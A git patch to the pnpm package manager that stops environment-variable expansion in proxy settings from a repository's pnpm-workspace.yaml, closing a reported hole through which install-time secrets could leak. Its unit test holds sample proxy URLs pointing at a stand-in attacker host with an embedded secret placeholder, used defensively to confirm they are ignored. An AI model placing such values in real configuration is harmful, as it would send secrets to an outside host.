From 36928beae9afb64a2a6a1221df54e66d361320c8 Mon Sep 17 00:00:00 2001 From: Zoltan Kochan Date: Fri, 10 Jul 2026 11:46:20 +0200 Subject: [PATCH] fix(config): do not expand env vars in proxy fields from pnpm-workspace.yaml (#12898) Backport of 5a4daec4bd from main. Project-level pnpm-workspace.yaml is repository-controlled and therefore untrusted, so getOptionsFromPnpmSettings refuses to expand ${...} environment-variable placeholders in request-destination fields. The guarded set only covered registry; the httpProxy, httpsProxy, noProxy, proxy, and noproxy fields were missing, so a malicious repository could route requests through an attacker-controlled proxy whose URL embedded a secret and exfiltrate install-time secrets before any lifecycle script runs. Add the proxy fields to REQUEST_DESTINATION_SCALAR_KEYS so they receive the same protection already applied to the registry channel. Reported by YESHYUNGSEOK as flaw F01 of GHSA-vx52-2968-3vc6. Co-authored-by: Claude Fable 5 --- .changeset/proxy-fields-env-expansion.md | 6 ++++++ .../config/src/getOptionsFromRootManifest.ts | 2 +- .../test/getOptionsFromRootManifest.test.ts | 19 +++++++++++++++++++ 3 files changed, 26 insertions(+), 1 deletion(-) create mode 100644 .changeset/proxy-fields-env-expansion.md diff --git a/.changeset/proxy-fields-env-expansion.md b/.changeset/proxy-fields-env-expansion.md new file mode 100644 index 0000000000..6f6cadd8b4 --- /dev/null +++ b/.changeset/proxy-fields-env-expansion.md @@ -0,0 +1,6 @@ +--- +"@pnpm/config": patch +"pnpm": patch +--- + +`${...}` environment-variable placeholders in the `httpProxy`, `httpsProxy`, `noProxy`, `proxy`, and `noproxy` settings are no longer expanded when these settings come from a project's `pnpm-workspace.yaml`. They now receive the same protection already applied to `registry`. diff --git a/config/config/src/getOptionsFromRootManifest.ts b/config/config/src/getOptionsFromRootManifest.ts index c20e3ec60d..e897156562 100644 --- a/config/config/src/getOptionsFromRootManifest.ts +++ b/config/config/src/getOptionsFromRootManifest.ts @@ -120,7 +120,7 @@ export function getOptionsFromPnpmSettings (manifestDir: string, pnpmSettings: P // root manifest are repository-controlled, so expanding ${...} placeholders // in these values would let a repository exfiltrate environment variables // through the URLs pnpm sends requests to. -const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['registry']) +const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['registry', 'httpProxy', 'httpsProxy', 'noProxy', 'proxy', 'noproxy']) function replaceEnvInSettings (settings: PnpmSettings): PnpmSettings { const newSettings: PnpmSettings = {} diff --git a/config/config/test/getOptionsFromRootManifest.test.ts b/config/config/test/getOptionsFromRootManifest.test.ts index 65de8a49ac..1a606ed4d6 100644 --- a/config/config/test/getOptionsFromRootManifest.test.ts +++ b/config/config/test/getOptionsFromRootManifest.test.ts @@ -183,6 +183,25 @@ test('getOptionsFromPnpmSettings() ignores env variables inside registry setting expect(options.registry).toBeUndefined() }) +test('getOptionsFromPnpmSettings() ignores env variables inside proxy settings', () => { + process.env.PNPM_TEST_TOKEN = 'secret' + /* eslint-disable no-template-curly-in-string */ + const options = getOptionsFromPnpmSettings(process.cwd(), { + httpsProxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/', + httpProxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/', + noProxy: '${PNPM_TEST_TOKEN}.example.com', + proxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/', + noproxy: '${PNPM_TEST_TOKEN}.example.com', + } as any) as any // eslint-disable-line + /* eslint-enable no-template-curly-in-string */ + expect(options.httpsProxy).toBeUndefined() + expect(options.httpProxy).toBeUndefined() + expect(options.noProxy).toBeUndefined() + expect(options.proxy).toBeUndefined() + expect(options.noproxy).toBeUndefined() + expect(JSON.stringify(options)).not.toContain('secret') +}) + test('getOptionsFromPnpmSettings() keeps a registry setting without env placeholders', () => { const options = getOptionsFromPnpmSettings(process.cwd(), { registry: 'https://registry.example.com/npm/',